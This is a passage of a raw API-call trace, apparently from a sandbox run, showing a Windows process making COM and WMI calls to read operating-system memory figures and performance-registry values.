[5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203500) returned 0x0 [0299.043] WbemLocator:IRpcOptions:Query (in: This=0x1b203500, pPrx=0x1b203538, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0299.043] WbemLocator:IUnknown:Release (This=0x1b203500) returned 0x3 [0299.044] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x2 [0299.044] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0299.044] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0299.044] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b2869b0) returned 0x0 [0299.044] IUnknown:AddRef (This=0x1b2869b0) returned 0x4 [0299.044] IUnknown:Release (This=0x1b2869b0) returned 0x3 [0299.044] IUnknown:Release (This=0x1b2869b0) returned 0x2 [0299.044] IUnknown:Release (This=0x1b287580) returned 0x2 [0299.044] SysStringLen (param_1=0x0) returned 0x0 [0299.044] IEnumWbemClassObject:Reset (This=0x1b2869b0) returned 0x0 [0299.044] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0f40 [0299.044] IEnumWbemClassObject:Next (in: This=0x1b2869b0, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0f40, puReturned=0x2742010 | out: apObjects=0x1d1c0f40*=0x1b2694c0, puReturned=0x2742010*=0x1) returned 0x0 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b2694c0) returned 0x0 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0299.049] IUnknown:AddRef (This=0x1b2694c0) returned 0x3 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0299.049] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b2694c8) returned 0x0 [0299.049] IMarshal:GetUnmarshalClass (in: This=0x1b2694c8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0299.049] IUnknown:Release (This=0x1b2694c8) returned 0x3 [0299.050] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0299.050] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0299.050] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0299.050] IUnknown:Release (This=0x1b2694c0) returned 0x2 [0299.050] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0299.050] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0299.050] IUnknown:QueryInterface (in: This=0x1b2694c0, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b2694c0) returned 0x0 [0299.050] IUnknown:AddRef (This=0x1b2694c0) returned 0x4 [0299.050] IUnknown:Release (This=0x1b2694c0) returned 0x3 [0299.050] IUnknown:Release (This=0x1b2694c0) returned 0x2 [0299.050] CoTaskMemFree (pv=0x1d1c0f40) [0299.050] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0299.050] IUnknown:AddRef (This=0x1b2694c0) returned 0x3 [0299.050] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0299.050] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0299.050] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0299.050] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0299.050] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0299.051] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0299.051] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0299.051] IUnknown:Release (This=0x77dd58) returned 0x1 [0299.052] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218090) returned 0x0 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218090, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0299.052] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218090, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b293e60) returned 0x0 [0299.052] WbemDefPath:IUnknown:Release (This=0x1d218090) returned 0x0 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b293e60) returned 0x0 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0299.052] WbemDefPath:IUnknown:AddRef (This=0x1b293e60) returned 0x3 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0299.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218410) returned 0x0 [0299.052] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218410, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0299.052] WbemDefPath:IUnknown:Release (This=0x1d218410) returned 0x3 [0299.052] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0299.053] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0299.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0299.053] WbemDefPath:IUnknown:Release (This=0x1b293e60) returned 0x2 [0299.053] WbemDefPath:IUnknown:Release (This=0x1b293e60) returned 0x1 [0299.053] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0299.053] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0299.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293e60, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b293e60) returned 0x0 [0299.053] WbemDefPath:IUnknown:AddRef (This=0x1b293e60) returned 0x3 [0299.053] WbemDefPath:IUnknown:Release (This=0x1b293e60) returned 0x2 [0299.053] WbemDefPath:IWbemPath:SetText (This=0x1b293e60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0299.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.053] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2742dd8*=0, plFlavor=0x2742ddc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2742dd8*=21, plFlavor=0x2742ddc*=0) returned 0x0 [0299.054] SysStringByteLen (bstr="1359840") returned 0xe [0299.054] SysStringByteLen (bstr="1359840") returned 0xe [0299.054] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2742dd8*=21, plFlavor=0x2742ddc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2742dd8*=21, plFlavor=0x2742ddc*=0) returned 0x0 [0299.054] SysStringByteLen (bstr="1359840") returned 0xe [0299.054] SysStringByteLen (bstr="1359840") returned 0xe [0299.054] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0299.054] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0299.054] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.054] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2742fd0*=0, plFlavor=0x2742fd4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2742fd0*=21, plFlavor=0x2742fd4*=0) returned 0x0 [0299.054] SysStringByteLen (bstr="2096620") returned 0xe [0299.054] SysStringByteLen (bstr="2096620") returned 0xe [0299.054] IWbemClassObject:Get (in: This=0x1b2694c0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2742fd0*=21, plFlavor=0x2742fd4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2742fd0*=21, plFlavor=0x2742fd4*=0) returned 0x0 [0299.054] SysStringByteLen (bstr="2096620") returned 0xe [0299.054] SysStringByteLen (bstr="2096620") returned 0xe [0299.054] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0299.055] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0299.055] IUnknown:Release (This=0x1b2869b0) returned 0x0 [0301.063] GetTickCount64 () returned 0x1ac7baa [0301.065] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0301.066] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27fd5e8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27fd5e8*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0301.068] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0301.068] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x280ea00, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x280ea00*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0301.071] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0301.071] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0301.071] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.071] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0301.071] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0301.072] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0301.072] IUnknown:Release (This=0x77dd58) returned 0x1 [0301.073] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218310) returned 0x0 [0301.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218310, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0301.073] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218310, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218490) returned 0x0 [0301.073] WbemLocator:IUnknown:Release (This=0x1d218310) returned 0x0 [0301.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218490) returned 0x0 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0301.074] WbemLocator:IUnknown:AddRef (This=0x1d218490) returned 0x3 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0301.074] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0301.074] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0301.074] WbemLocator:IUnknown:Release (This=0x1d218490) returned 0x2 [0301.074] WbemLocator:IUnknown:Release (This=0x1d218490) returned 0x1 [0301.074] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0301.074] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0301.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218490, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218490) returned 0x0 [0301.074] WbemLocator:IUnknown:AddRef (This=0x1d218490) returned 0x3 [0301.074] WbemLocator:IUnknown:Release (This=0x1d218490) returned 0x2 [0301.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0301.075] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0301.075] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.075] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, 